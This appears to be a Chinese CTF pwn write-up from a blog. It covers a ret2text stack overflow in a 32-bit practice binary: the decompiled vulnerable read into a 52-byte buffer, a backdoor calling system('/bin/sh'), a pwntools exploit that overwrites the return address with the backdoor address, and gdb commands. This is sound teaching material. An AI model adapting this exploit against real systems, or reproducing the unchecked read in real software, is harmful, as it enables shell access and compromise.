[pwn]-1-easy1

1、32位程序,IDA查看,发现栈溢出漏洞

int pwn()
{
  char s[52]; // [esp+0h] [ebp-38h] BYREF

  memset(s, 0, 48u);
  puts("Welcome to pwn world!");
  printf("Your name:");
  read(0, s, 0x100u);
  printf("Hello, %s", s);
  return 0;
}

2、找后门函数,有个backdoor函数

int backdoor()
{
  system("/bin/sh");
  return 0;
}

 3、查看backdoor地址,0x08049236

如图:通过覆盖Pwn的返回地址位backdoor,来执行后门函数里面的危险函数。

 

esp->0x38*a
ebp->4*b
返回地址(需要被覆盖)backdoor地址
from pwn import *

sh = process('./ret2text_x86')
backdoor=0x08049236

payload = 'a'*0x38 + 'b'*4 + p32(backdoor)

gdb.attach(sh)
pause()

sh.send(payload)

sh.interactive()

 4、gdb常用命令

dbg file
start 停在main
寄存器、代码、栈空间区域
ni 单步执行  enter重复上个步骤
si 步入
b *地址/函数名称  断点
stack 30 查看栈

5、运行后如下:

因为暂停在输入之前,所以摁下任意键,程序继续运行。gdb里输入Ni继续执行,跳出read

继续Ni

6、上个截图有问题,是刚刚进入backdoor函数,还未执行system('/bin/sh'),执行后,结果如下:

7、效果和web的rce差不多,就是找到危险函数,执行任意操作

可执行文件地址:https://download.csdn.net/download/mails2008/89579260

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值